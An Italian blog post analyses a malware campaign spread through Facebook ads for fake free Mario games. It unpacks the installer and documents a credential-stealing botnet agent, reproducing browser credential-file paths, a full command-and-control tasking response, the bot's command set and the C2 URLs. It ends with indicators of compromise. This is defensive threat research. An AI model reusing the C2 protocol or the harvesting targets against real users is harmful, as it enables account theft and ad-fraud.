Analisi Malware a tema Mario
Pubblicato il – 14 minuti di lettura – 2820 parole

Se siete stati bambini con un Nintendo DS (presente!), avrete giocato per molto tempo con videogame della serie Mario, il famoso idraulico italiano. Apparso per la prima volta in “Donkey Kong”, Mario è protagonista indiscusso dei videogiochi della famosa casa di sviluppo Nintendo: dagli sport, alle automobili, non c’è videogioco famoso prodotto dalla Nintendo che abbia Mario come personaggio principale.
Uno dei videogiochi più recenti della serie è “Mario Kart 8 Deluxe”, una copia evoluta di Mario Kart per la piattaforma Nintendo Switch. I giocatori devono sfidarsi a gareggiare su percorsi diversi con auto di tutti i tipi e chi arrivo primo vince.
La semplicità della meccanica di gioco e le animazioni moderne fanno Mario Kart uno dei videogiochi di maggior successo della casa Nintendo tanto che il titolo continua a fare modeste vendite, nonostante siano passati 4 anni dalla data di rilascio, il 28 Aprile 2017.
Ma cosa c’entra questo con il mio blog? Recentemente, scrollando la bacheca di Facebook, un mio follower si è imbattuto in una campagna di sponsorizzazione che promuoveva un’incredibile offerta riguardo “Mario Kart 8 Deluxe”. Il sito menzionato da questa campagna (super-mario-kart8-deluxe.com
) riportava infatti uno sconto del 100%, passando dalla bellezza di 59,99 $ a gratuito, fornendo un binario da scaricare.

Mica male, no? Dato che sembrava troppo bello per essere vero, era giunta l’ora di mettermi nei panni di un “reverse engineering” professionista™ e approfondire la questione, analizzando sia il sito web sia i binari.
Analisi del sito web
La pagina di facebook ci rimanda al dominio super-mario-kart8-deluxe.com
e sembra molto simile, se non uguale, a un sito concepito da Nintendo. I font e le grafiche utilizzate sono quelle del sito ufficiale Nintendo.

Proviamo ad eseguire il WHOIS di super-mario-kart8-deluxe.com
, anche se non è molto d’aiuto dato che per la maggior parte delle volte i dati sui WHOIS sono diventati privati.
Name: NameSilo, LLC
IANA ID: 1479
Abuse contact email: abuse@namesilo.com
Abuse contact phone: tel:+1.4805240066
Registrar NameSilo, LLC
Email pw-eed1397dcd948b82b8e1e8c0e46cc5d2@privacyguardian.org (registrant, admin, tech)
Name "Domain Administrator" (registrant, admin, tech)
Organization See PrivacyGuardian.org (registrant, admin, tech)
Procediamo quindi ad analizzare le eventuali connessioni per/da quel sito tramite la sezione “Network” degli “Strumenti per Sviluppatori”. Tutti gli assets (grafiche, font, CSS) sono hostati sullo stesso nome host. Il sito si connette a wildvideos.com
per mostrare il video del videogioco.
Un grande bottone rosso con un countdown per l’offerta invita l’utente a scaricare un file ZIP contenente un binario. Questa rappresenta una delle prime red flag: se il videogioco della serie Mario è concepito per una piattaforma Nintendo, come può essere un file ZIP da installare su Windows?

hxxps://download-mario.com/pc/mario-bros-deluxe/Mario%20Bros%208%20Deluxe.zip
Successivamente all’analisi, è stato possibile trovare anche supermariokart8deluxe.com
che è identico al sito menzionato in precedenza, solo che al posto dei binari, troviamo un link referral per Amazon con l’ID 1612686343
. Molto probabilmente, l’intenzione degli attaccanti è di cammuffare il sito nel caso in cui venisse segnalato a ISP o autorità, mascherando il link del malware con il link di Amazon.

Per mostrare il countdown, il sito memorizza la prima visita dell’utente utilizzando il cookie PHPSESSID
che memorizza il numero della sessione dell’utente. Se scriviamo la data ‘X’ in minuti, la nuova data è spostata di 2 ore e 50 minuti.
$('.countdown').downCount({
date: '04/23/2021 18:42:51'
}, function () {
alert('WOOT WOOT, done!');
});
L’altro cookie che troviamo viene fornito da Cloudflare. Tutti i siti della campagna “Mario” sono dietro firewall Cloudflare probabilmente per nascondere l’ip di origine dei server. Un’altra caratteristica comune dei siti web utilizzati per diffondere il malware è quella di avere la stessa “organizzazione” dei path: gli assets nella cartella assets/
.
La campagna non sembra essersi fermata ad un solo videogioco, dato che “Mario Kart 8 Deluxe” non è stato l’unico gioco preso di mira. Un amministratore di una pagina aziendale su Facebook con 10k follower ha riportato nei primi giorni di Aprile di essere stato hackerato con un altro binario “Mario Bros Deluxe 2021”. La pagina aziendale veniva quindi usata per diffondere ulteriormente la campagna.
Se hai scaricato il gioco Mario Bros Deluxe 2021, ti consiglio di scansionare il computer con l’ultimo antivirus. Anche se nel nostro caso, l’antivirus taceva. Cancella tutti i file che trovi con i nomi: dcdm.exe e Janma.exe.
Si è partiti quindi alla ricerca di tutti i domini ad esso collegati, trovando altri videogiochi in tema “Mario” utilizzati, come Super Mario Bros Deluxe o Mario 3D World.

I domini che sono stati riportati hanno alcuni elementi in comune che chiameremo “red flag comuni”. Uno tra questi è il tag di Google Analytics che utilizzano per tracciare se la campagna ha successo: G-7MFRXB4YGR
. Non è unico, ma gli attaccanti tracciano il loro successo della campagna attraverso Google Analytics.
Il secondo campanello d’allarme è dato dal fatto che tutte le pagine hanno un collegamento al dominio dl1.wild-videos.com
che funge da server CDN per il video del videogioco.
Analisi statica del binario
Per l’analisi statica abbiamo preso in considerazione Mario Kart 8 Deluxe.zip
contenente il binario Mario Kart 8 Deluxe.exe
. Il file eseguibile si è rivelato essere un installer creato con Innosetup 6.0 . Per estrarlo, è sufficiente installare innoextract
, un utility scritta in C++ che permette di ispezionare un pacchetto di installazione basato sul formato INS.
Avviamo il programma innoextract
specificando il file da estrarre. Il contenuto del pacchetto verrà inserito in una cartella chiamata app
, nel nostro caso abbiamo i seguenti file:
root@node#: ls app/Crypto api-ms-win-core-console-l1-1-0.dll api-ms-win-core-rtlsupport-l1-1-0.dll api-ms-win-crt-string-l1-1-0.dll mfc140u.dll
Cryptodome api-ms-win-core-datetime-l1-1-0.dll api-ms-win-core-string-l1-1-0.dll api-ms-win-crt-time-l1-1-0.dll msg.exe
_asyncio.pyd api-ms-win-core-debug-l1-1-0.dll api-ms-win-core-synch-l1-1-0.dll api-ms-win-crt-utility-l1-1-0.dll msg.json
_bz2.pyd api-ms-win-core-errorhandling-l1-1-0.dll api-ms-win-core-synch-l1-2-0.dll api-ms-win-eventing-provider-l1-1-0.dll pyexpat.pyd
_ctypes.pyd api-ms-win-core-file-l1-1-0.dll api-ms-win-core-sysinfo-l1-1-0.dll certifi python38.dll
_decimal.pyd api-ms-win-core-file-l1-2-0.dll api-ms-win-core-timezone-l1-1-0.dll comctl32.dll pythoncom38.dll
_elementtree.pyd api-ms-win-core-file-l2-1-0.dll api-ms-win-core-util-l1-1-0.dll config.json pywintypes38.dll
_hashlib.pyd api-ms-win-core-handle-l1-1-0.dll api-ms-win-crt-conio-l1-1-0.dll curl-ca-bundle.crt select.pyd
_lzma.pyd api-ms-win-core-heap-l1-1-0.dll api-ms-win-crt-convert-l1-1-0.dll curl.exe sqlite3.dll
_msi.pyd api-ms-win-core-interlocked-l1-1-0.dll api-ms-win-crt-environment-l1-1-0.dll dcdm.exe tcl
_multiprocessing.pyd api-ms-win-core-libraryloader-l1-1-0.dll api-ms-win-crt-filesystem-l1-1-0.dll gdiplus.dll tcl86t.dll
_overlapped.pyd api-ms-win-core-localization-l1-2-0.dll api-ms-win-crt-heap-l1-1-0.dll janma.exe tk
_queue.pyd api-ms-win-core-memory-l1-1-0.dll api-ms-win-crt-locale-l1-1-0.dll libcrypto-1_1.dll tk86t.dll
_socket.pyd api-ms-win-core-namedpipe-l1-1-0.dll api-ms-win-crt-math-l1-1-0.dll libcurl.def ucrtbase.dll
_sqlite3.pyd api-ms-win-core-processenvironment-l1-1-0.dll api-ms-win-crt-multibyte-l1-1-0.dll libcurl.dll unicodedata.pyd
_ssl.pyd api-ms-win-core-processthreads-l1-1-0.dll api-ms-win-crt-process-l1-1-0.dll libffi-7.dll vcruntime140.dll
_tkinter.pyd api-ms-win-core-processthreads-l1-1-1.dll api-ms-win-crt-runtime-l1-1-0.dll libssl-1_1.dll win32api.pyd
_win32sysloader.pyd api-ms-win-core-profile-l1-1-0.dll api-ms-win-crt-stdio-l1-1-0.dll lz4 win32ui.pyd
Durante un analisi statica di un qualsiasi programma, cerchiamo qualsiasi elemento che possa confermare o meno l’ipotesi che il programma sia malevolo. La struttura dell’applicazione ricorda molto la struttura di programmi creati da pyinstaller
, un utility che consente di raggruppare più script python in un unico eseguibile.
L’utility pyinstaller assembla il file finale convertendo gli script python in script pyc
, “Python-compiled”, contenente in parte bytecode da essere eseguito in modo istantaneo.
I file pyc rappresentano una sorta di ibridazione tra il linguaggio compilato e il linguaggio interpretato. In parole povere, i file pyc contengono alcune istruzioni già pronte da eseguire (cioé già compilate).
Ritornando all’analisi, sarebbero molti i file da analizzare, anche se lo sguardo volge subito a pochi particolari file: janma.exe
, msg.exe
, curl.exe
, dcdm.exe
. Le librerie api-ms-win-*
sono incluse di default da parte di pyinstaller
e non sembrano state essere modificate. Per verificare se un file è stato modificato, è bastato ottenere l’hash del file e confrontarlo con le copie online.
Data Content Download Manager
Il file eseguibile dcdm.exe
(chiamato Data Content Download Manager) è il primo file che viene eseguito dopo che InnoSetup ha estratto i file di installazione. L’analisi statica rivela che l’applicazione mostra una barra di caricamento finta che distrae l’utente mentre altri file compiono azioni.

A conferma di questa ipotesi, oltre al ritrovamento di funzioni come sleep()
e progressBar1
, troviamo la cartella dei sorgenti incluso nell’eseguibile: F:\Project\2020\hackcookie\loadingbar\Data Content Download Manager\obj\Release\Data Content Download Manager.pdb
.
L’agent della botnet
È stato molto curioso analizzare il binario janma.exe
perché in esso possiamo trovare il comportamento centrale del malware.
La prima caratteristica di questo malware è l’autoalimentazione della campagna malware. Il file janma.exe
effettua una prima ricognizione, estrapolando cookie e combinazioni user/pass da Chrome, Firefox e Edge. I database che contengono username, passwords, cookie sono disponibili ai seguenti percorsi: /Google/Chrome/Default/Cookies
, ~/.config/google-chrome/Default/Cookies
, /.config/chromium/Default/Cookies
, Appdata\Local\User data\Local State\
, ~/.mozilla/firefox
, Appdata\Mozilla\Firefox
, ProgramFiles\Mozilla FireFox\cookies.sqlite
.
Il programma malevolo controlla prima se l’utente del browser è già loggato su Facebook, inviando i cookie a facebook.com
. Se non lo fosse procede con l’inserimento dell’e-mail e della password trovate nel passo precedente.
A quel punto, avendo l’accesso completo all’account (e di conseguenza, recuperando un auth token), l’applicazione chiama in sequenza una serie di API per capire di che account si tratta e per amplificare in caso la campagna. In ordine vengono effettuate le seguenti azioni:
- Richiesta su
facebook.com
con refererhttps://business.facebook.com/business_locations
– il malware effettua il parsing della pagina con BeautifulSoup e verifica a quali gruppi l’utente si è iscritto. - Il malware effettua una richiesta a
https://mbasic.facebook.com
, cercando di effettuare più richieste di amicizia possibili. Nel caso in cui fossero presenti altre richieste d’amicizia, procede a confermarle tutte. - Si procede con eseguire un’altra richiesta a
https://graph.facebook.com/v7.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status&access_token=
. Questa API ritorna l’id, il nome, l’ammontare speso e lo status di tutti gli account personali per le pubblicità. - Il malware procede a disattivare le notifiche per e-mail o per telefono dell’account personale pubblicitario. In questo modo, la vittima non riceverà alcun avviso nel caso di modifiche di campagne pubblicitarie e/o informazioni riguardanti i metodi di pagamento. Il programma malevolo contrassegna tutte le notifiche come “Già lette”.
- Si verifica se l’utente abbia attivato la doppia autenticazione e quali sessioni ha attive al momento.
janma.exe
conclude la collezione di informazioni, chiamando l’API business manager di Facebook per ottenere ulteriori informazioni su altre pagine e i relativi account pubblicitari.
La montagna di informazioni che janma colleziona ha un risvolto molto importante per la campagna malware. Dato che il malware viene diffuso principalmente attraverso delle campagne pubblicitarie via Facebook, l’acquisizione di elementi come il metodo di pagamento e le pagine gestite sono vitali.
Si presuppone che tali dati vengano poi utilizzati dagli attaccanti per creare nuove campagne pubblicitarie. In tal modo, il malware è come se si auto-alimentasse, sfruttando gli account e le carte di credito delle vittime per diffondere ulteriormente la campagna.
Il secondo elemento interessante del malware è la connessione periodica ad un server di comando e controllo. All’avvio del programma malevolo, il dispositivo si connette su https://rss.imagemakeup.net/rss/popular_youtube
inviando TOKEN_APP
. Il finto link rss restituisce il server a cui si deve connettere e l’id della macchina.
Successivamente, il programma malevolo scrive una chiave sul registro per creare un nuovo cronjob. Il cronjob verifica da 6 diversi URL se esistono o meno azioni da eseguire e, nel caso in cui esistessero, li esegue.
Gli URL (codificati in base 64 all’interno di janma.exe
) sono i seguenti:
["https://sc.vrss.win/console/cmd", "https://s.myplaylist.win/console/cmd", "https://web.downloadgame247.com/console/cmd", "https://app.download-mario.com/console/cmd", "https://api.mariodeluxe.com/console/cmd", "https://rss.mario-deluxe.net/console/cmd"]
Si effettua ogni minuto una richiesta GET
ai seguenti indirizzi, passando come parametro machineId
un id alfanumerico che identifica internamente la macchina.
La prima risposta della botnet è la seguente:
[{"act":"FIREFOX_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1}}},{"act":"EDGE_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1}}},{"act":"CHROMIUM_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1},"base_path":["7Star\\7Star","Amigo","BraveSoftware\\Brave-Browser","CentBrowser","Chedot","Google\\Chrome SxS","Chromium","CocCoc\\Browser","Comodo\\Dragon","Elements Browser","Epic Privacy Browser","Kometa","Orbitum","Sputnik\\Sputnik","Torch","uCozMedia\\Uran","Vivaldi","Yandex\\YandexBrowser","Opera Software\\Opera Stable"]}},{"act":"CHROME_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1}}},{"act":"WAIT","endpoint":"https://vrss.win/console/execute","delay":1,"data":[1]}]
Notiamo quindi che il malware riesce a catturare cookie e configurazioni anche per i seguenti browser Chromium-based: 7Star, Amigo, Brave, CentBrowser, Chedot, Chrome SxS, CocCoc Browser, Comodo Dragon Browser, Elements Browser, Epic Privacy Browser, Kometa, Orbitum, Sputnik, Torch, Uran, Vivaldi, YandexBrowser, Opera.
Tramite un azione di reverse engineering a scatola chiusa (banalmente provando a fare delle semplici GET sull’api della botnet), è stato possibile scoprire qualcosa in più riguardo all’infrastruttura del server centrale.
Ad ogni richiesta, il server Command and Control risponde sempre con un’azione. Nella maggior parte dei casi, quando ancora deve essere completata l’acquisizione dei dati, il comando è di WAIT
(cioé aspettare).
Ogni richiesta è definita come un’insieme di act
, cioè di azioni da eseguire. Di seguito, si è provato ad eseguire e reversare i possibili campi.
- act – identifica il tipo di azione che il malware esegue. Di seguito alcuni esempi:
CHROME_CK
: invia il comando di acqusizione informazioni per l’obiettivo CHROME;CHROMIUM_CK
: invia il comando di acquisizione informazioni per l’obiettivo CHROMIUM;WAIT
: il malware aspetta 60 secondi e ritenta la richiesta;RUN
: il malware esegue il file specificato;EXECUTE
: prende come parametro un comando e lo esegue attraverso il Command Prompt.DOWNLOAD_FILE
: accetta come parametro un url e scarica il file.DELETE_FILE
: prende come parametro il nome di un file e il file malevolo procede ad eliminarlo.UPLOAD_FILE
: prende come parametro il nome di un file e il file malevolo procede a caricarlo suendpoint
.
- endpoint – dove caricare i dati: attraverso questo endpoint (costruito su websocket 19), il server centrale riesce a reperire i dati.
- delay – valore intero, identifica il numero di secondi da aspettare prima di inviare la risposta all’endpoint.
- data – dati aggiuntivi al campo
act
(nell’esempio della prima risposta della botnet, nel campo data troviamo i parametri per la cattura delle informazioni, per esempio URL API di Facebook, Cookie, Configurazione del Browser).
Il caricamento di ogni file e ogni stringa verso l’endpoint è codificato in Base64. Anche se può sembrare una scelta curiosa (la dimensione di ogni file cresce del 30% rispetto alla dimensione originale), è possibile che gli attaccanti abbiano implementato tale tecnica per evitare che il caricamento dei file venisse bloccata da firewall o altre applicazioni.
È chiaro quindi che il file malevolo è un agent di una botnet che si connette ad un server centrale di Comando e Controllo (C&C), rendendo la macchina infetta schiava degli attaccanti. Non è stato possibile appurare quante macchine sarebbero state infettate. Se hai per sbaglio eseguito il malware, considera il tuo device e il tuo account Facebook/Google compromessi.
Ipotizzando un attacco MiTM su uno dei domini, la richiesta per la cancellazione “self” della botnet da parte della macchina infetta sarebbe:
[{"act": "RUN", "endpoint": "...", "data": {"command" : "taskkill /IM 'Janma.exe' /F"}}, {"act": "DELETE_FILE", "endpoint" : "", "data" : {"file_name": "C:\Users\nomeutente\AppData\Local\Roaming\Janma.exe", }}]
Conclusioni: il controllo inesistente su Facebook Ads
Gli attaccanti non sono semplici script kiddie, sembrano invece essere sviluppatori professionisti. Dall’avanzata gestione del server C2C, ai molteplici domini, nessun dettaglio sembra essere lasciato al caso.
L’alto volume di domini utilizzati per questa campagna sono indice di un consistente investimento da parte del gruppo attaccante (anche solo 10 dollari a dominio, stiamo parlando minimo di centinaia di dollari). Si sono avvalsi di domain typo squatting per avere maggior successo, tuttavia il malware viene distribuito esclusivamente attraverso campagne pubblicitarie su Facebook.
Sostituire il link ai file malevoli con un link autentico del videogioco su Amazon per destare meno sospetti si è rivelata una mossa efficacia fino ad ora. Tuttavia, i domini trovati verranno riportati sia a Cloudflare, Namesilo e Namecheap.
È interessante anche sottolineare come Facebook abbia avuto un ruolo centrale nella diffusione della campagna del malware. Diversi sono gli errori da parte di Facebook: in primis non dovrebbe essere permesso ad un utente già autenticato la revoca tutte le notifiche riguardo gli account pubblicitari, compreso l’utilizzo della carta associata. Secondo, gli assets della campagna pubblicitaria (grafica, nome) sono sotto licenza restrittiva da parte di Nintendo. Sembra strano che Facebook approvi una pubblicità con grafiche ufficiali da parte di pagine che non sono Nintendo.
Seppur il malware sia stato concepito solo per sistemi Windows, non è possibile escludere a priori che sia stato usato anche per MacOS o Unix dato che l’app principale era stata scritta utilizzando Python.
L’impatto del malware è stato significativo all’interno di community composte da amanti di videogiochi. Come testimoniano diversi thread (1, 2, 3), la campagna ha colpito maggiormente le persone che seguivano pagine Facebook a tema videogiochi, a loro volta violate.
IoC e dettagli
Di seguito i dettagli dei diversi binari utilizzati dalla campagna, trovati nei domini connessi alla campagna principale visualizzata da un mio follower.
Binari
- Mario Kart 8 Deluxe.exe:
- SHA256
3c264da7b4d8d08aa7204d55eab519a18d040d4c2b3fb30172c3e02d413c1d2d
- MD5
04dee077ab2a3dff2cd6c609c998c554
- SHA256
- Mario Kart 8 Deluxe.zip:
- SHA256
4881597679dd5263d2be5ea133001e301c3d20944983948920290c6f65a5f514
- MD5
ae3a1534362891694e23d7c1c094acac
- SHA256
- Mario 3D World.exe:
- SHA256
3c264da7b4d8d08aa7204d55eab519a18d040d4c2b3fb30172c3e02d413c1d2d
- MD5
04dee077ab2a3dff2cd6c609c998c554
- SHA256
- Mario 3D World.zip:
- SHA256
bc6599bc7598dcb0993214a97161534c0cb03ff16164ef1c8f8181683b594b8e
- MD5
e6af7d9c9dcaf8b93eadea92eb8cd3cb
- SHA256
- Super Mario Bros U Deluxe.exe:
- SHA256
3c264da7b4d8d08aa7204d55eab519a18d040d4c2b3fb30172c3e02d413c1d2d
- MD5
04dee077ab2a3dff2cd6c609c998c554
- SHA256
- Janma.exe:
- SHA256
c26229c5cdd32a6b6aa4c517f987ab74f36689d08954fd27ce77f7cdf603770a
- MD5
a375ed142c1632347d01e57706d3be4a
- SHA256
- Dmdc.exe
Domini
download-mario.com
(registrato 4 Gennaio 2021, NameSilo) – distribuzione dei binari e server C2Cdownloadgame247.com
(registrato 4 Gennaio 2021, NameSilo) – Server C2Cmario3dworld.com
(registrato 6 Febbraio 2021, NameSilo) – sito fake da pubblicità Facebookmariodeluxe.com
(registrato 18 Gennaio 2021, Google Analytics ID:G-B344FDX1HH
, versione di PHP trovata7.3.27
, NameSilo) – sito fake da pubblicità Facebookmario-deluxe.net
(registrato 13 Gennaio 2021, Google Analytics ID:G-7MFRXB4YGR
, versione di PHP trovata7.3.27
, Namesilo) – sito fake da pubblicità Facebookmariokartdeluxe.net
(registrato 20 Febbraio 2021, NameSilo) – sito fake da pubblicità Facebookmyplaylist.win
(registrato 15 Gennaio 2021, NameSilo) – Server C2Csuper-mario-3d.com
(registrato 18 Aprile 2021, NameSilo) – sito fake da pubblicità Facebooksupermariokart8.com
(registrato 17 Aprile 2021, Namecheap) – Server C2Csupermariodeluxe.com
(registrato 29 Marzo 2021, Google Analytics ID:G-B344FDX1HH
, NameSilo) – sito fake da pubblicità Facebookvrss.win
(registrato 15 Gennaio 2021, versione di PHP7.3.29
, NameSilo) – Server C2Cwild-videos.com
(registrato 21 Ottobre 2020, Porkbun) – distribuzione dei video
Tutti i domini sono dietro Cloudflare. Ho sollecitato quindi l’azienda ad sospendere tutti i domini e a proseguire con la denuncia ad autorità.